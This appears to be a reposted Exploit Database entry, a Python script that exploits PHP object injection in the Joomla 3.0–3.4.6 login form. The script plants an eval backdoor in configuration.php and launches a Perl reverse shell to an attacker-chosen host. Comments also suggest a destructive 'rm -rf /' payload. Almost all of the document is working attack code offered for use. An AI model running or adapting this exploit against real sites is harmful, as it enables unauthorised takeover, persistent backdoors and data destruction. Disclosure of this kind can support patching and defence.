Joomla! 3.4.6 – ‘configuration.php’ Remote Code Execution

• Exploit Database
• 30 阅读

• 作者： Alessandro Groppo
  日期： 2019-10-07
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/47465/

• # Exploit Title: Joomla 3.4.6 - 'configuration.php' Remote Code Execution
  # Google Dork: N/A
  # Date: 2019-10-02
  # Exploit Author: Alessandro Groppo @Hacktive Security
  # Vendor Homepage: https//www.joomla.it/
  # Software Link: https://downloads.joomla.org/it/cms/joomla3/3-4-6
  # Version: 3.0.0 --> 3.4.6
  # Tested on: Linux
  # CVE : N/A
  #
  # Technical details: https://blog.hacktivesecurity.com/index.php?controller=post&action=view&id_post=41
  # Github: https://github.com/kiks7/rusty_joomla_rce
  #
  # The exploitation is implanting a backdoor in /configuration.php file in the root directory 
  # with an eval in order to be more suitable for all environments, but it is also more intrusive.
  # If you don't like this way, you can replace the get_backdoor_pay() 
  # with get_pay('php_function', 'parameter') like get_pay('system','rm -rf /')
  
  #!/usr/bin/env python3
  
  import requests
  from bs4 import BeautifulSoup
  import sys
  import string
  import random
  import argparse
  from termcolor import colored
  
  PROXS = {'http':'127.0.0.1:8080'}
  PROXS = {}
  
  def random_string(stringLength):
  	letters = string.ascii_lowercase
  	return ''.join(random.choice(letters) for i in range(stringLength))
  
  
  backdoor_param = random_string(50)
  
  def print_info(str):
  	print(colored("[*] " + str,"cyan"))
  
  def print_ok(str):
  	print(colored("[+] "+ str,"green"))
  
  def print_error(str):
  	print(colored("[-] "+ str,"red"))
  
  def print_warning(str):
  	print(colored("[!!] " + str,"yellow"))
  
  def get_token(url, cook):
  	token = ''
  	resp = requests.get(url, cookies=cook, proxies = PROXS)
  	html = BeautifulSoup(resp.text,'html.parser')
  	# csrf token is the last input
  	for v in html.find_all('input'):
  		csrf = v
  	csrf = csrf.get('name')
  	return csrf
  
  
  def get_error(url, cook):
  	resp = requests.get(url, cookies = cook, proxies = PROXS)
  	if 'Failed to decode session object' in resp.text:
  		#print(resp.text)
  		return False
  	#print(resp.text)
  	return True
  
  
  def get_cook(url):
  	resp = requests.get(url, proxies=PROXS)
  	#print(resp.cookies)
  	return resp.cookies
  
  
  def gen_pay(function, command):
  	# Generate the payload for call_user_func('FUNCTION','COMMAND')
  	template = 's:11:"maonnalezzo":O:21:"JDatabaseDriverMysqli":3:{s:4:"\\0\\0\\0a";O:17:"JSimplepieFactory":0:{}s:21:"\\0\\0\\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:5:"cache";b:1;s:19:"cache_name_function";s:FUNC_LEN:"FUNC_NAME";s:10:"javascript";i:9999;s:8:"feed_url";s:LENGTH:"PAYLOAD";}i:1;s:4:"init";}}s:13:"\\0\\0\\0connection";i:1;}'
  	#payload =command + ' || $a=\'http://wtf\';'
  	payload ='http://l4m3rz.l337/;' + command
  	# Following payload will append an eval() at the enabled of the configuration file
  	#payload ='file_put_contents(\'configuration.php\',\'if(isset($_POST[\\\'test\\\'])) eval($_POST[\\\'test\\\']);\', FILE_APPEND) || $a=\'http://wtf\';'
  	function_len = len(function)
  	final = template.replace('PAYLOAD',payload).replace('LENGTH', str(len(payload))).replace('FUNC_NAME', function).replace('FUNC_LEN', str(len(function)))
  	return final
  
  def make_req(url , object_payload):
  	# just make a req with object
  	print_info('Getting Session Cookie ..')
  	cook = get_cook(url)
  	print_info('Getting CSRF Token ..')
  	csrf = get_token( url, cook)
  
  	user_payload = '\\0\\0\\0' * 9
  	padding = 'AAA' # It will land at this padding
  	working_test_obj = 's:1:"A":O:18:"PHPObjectInjection":1:{s:6:"inject";s:10:"phpinfo();";}'
  	clean_object = 'A";s:5:"field";s:10:"AAAAABBBBB' # working good without bad effects
  
  	inj_object = '";'
  	inj_object += object_payload
  	inj_object += 's:6:"return";s:102:' # end the object with the 'return' part
  	password_payload = padding + inj_object
  	params = {
  'username': user_payload,
  'password': password_payload,
  'option':'com_users',
  'task':'user.login',
  csrf :'1'
  }
  
  	print_info('Sending request ..')
  	resp= requests.post(url, proxies = PROXS, cookies = cook,data=params)
  	return resp.text
  
  def get_backdoor_pay():
  	# This payload will backdoor the the configuration .PHP with an eval on POST request
  
  	function = 'assert'
  	template = 's:11:"maonnalezzo":O:21:"JDatabaseDriverMysqli":3:{s:4:"\\0\\0\\0a";O:17:"JSimplepieFactory":0:{}s:21:"\\0\\0\\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:5:"cache";b:1;s:19:"cache_name_function";s:FUNC_LEN:"FUNC_NAME";s:10:"javascript";i:9999;s:8:"feed_url";s:LENGTH:"PAYLOAD";}i:1;s:4:"init";}}s:13:"\\0\\0\\0connection";i:1;}'
  	# payload =command + ' || $a=\'http://wtf\';'
  	# Following payload will append an eval() at the enabled of the configuration file
  	payload ='file_put_contents(\'configuration.php\',\'if(isset($_POST[\\\'' + backdoor_param +'\\\'])) eval($_POST[\\\''+backdoor_param+'\\\']);\', FILE_APPEND) || $a=\'http://wtf\';'
  	function_len = len(function)
  	final = template.replace('PAYLOAD',payload).replace('LENGTH', str(len(payload))).replace('FUNC_NAME', function).replace('FUNC_LEN', str(len(function)))
  	return final
  
  def check(url):
  	check_string = random_string(20)
  	target_url = url + 'index.php/component/users'
  	html = make_req(url, gen_pay('print_r',check_string))
  	if check_string in html:
  		return True
  	else:
  		return False
  
  def ping_backdoor(url,param_name):
  	res = requests.post(url + '/configuration.php', data={param_name:'echo \'PWNED\';'}, proxies = PROXS)
  	if 'PWNED' in res.text:
  		return True
  	return False
  
  def execute_backdoor(url, payload_code):
  	# Execute PHP code from the backdoor
  	res = requests.post(url + '/configuration.php', data={backdoor_param:payload_code}, proxies = PROXS)
  	print(res.text)
  
  def exploit(url, lhost, lport):
  	# Exploit the target
  	# Default exploitation will append en eval function at the end of the configuration.pphp
  	# as a bacdoor. btq if you do not want this use the funcction get_pay('php_function','parameters')
  	# e.g. get_payload('system','rm -rf /')
  
  	# First check that the backdoor has not been already implanted
  	target_url = url + 'index.php/component/users'
  
  	make_req(target_url, get_backdoor_pay())
  	if ping_backdoor(url, backdoor_param):
  		print_ok('Backdoor implanted, eval your code at ' + url + '/configuration.php in a POST with ' + backdoor_param)
  		print_info('Now it\'s time to reverse, trying with a system + perl')
  		execute_backdoor(url, 'system(\'perl -e \\\'use Socket;$i="'+ lhost +'";$p='+ str(lport) +';socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};\\\'\');')
  
  
  if __name__ == '__main__':
  	parser = argparse.ArgumentParser()
  	parser.add_argument('-t','--target',required=True,help='Joomla Target')
  	parser.add_argument('-c','--check', default=False, action='store_true', required=False,help='Check only')
  	parser.add_argument('-e','--exploit',default=False,action='store_true',help='Check and exploit')
  	parser.add_argument('-l','--lhost', required='--exploit' in sys.argv, help='Listener IP')
  	parser.add_argument('-p','--lport', required='--exploit' in sys.argv, help='Listener port')
  	args = vars(parser.parse_args())
  
  	url = args['target']
  	if(check(url)):
  		print_ok('Vulnerable')
  		if args['exploit']:
  			exploit(url, args['lhost'], args['lport'])
  		else:
  			print_info('Use --exploit to exploit it')
  
  	else:
  		print_error('Seems NOT Vulnerable ;/')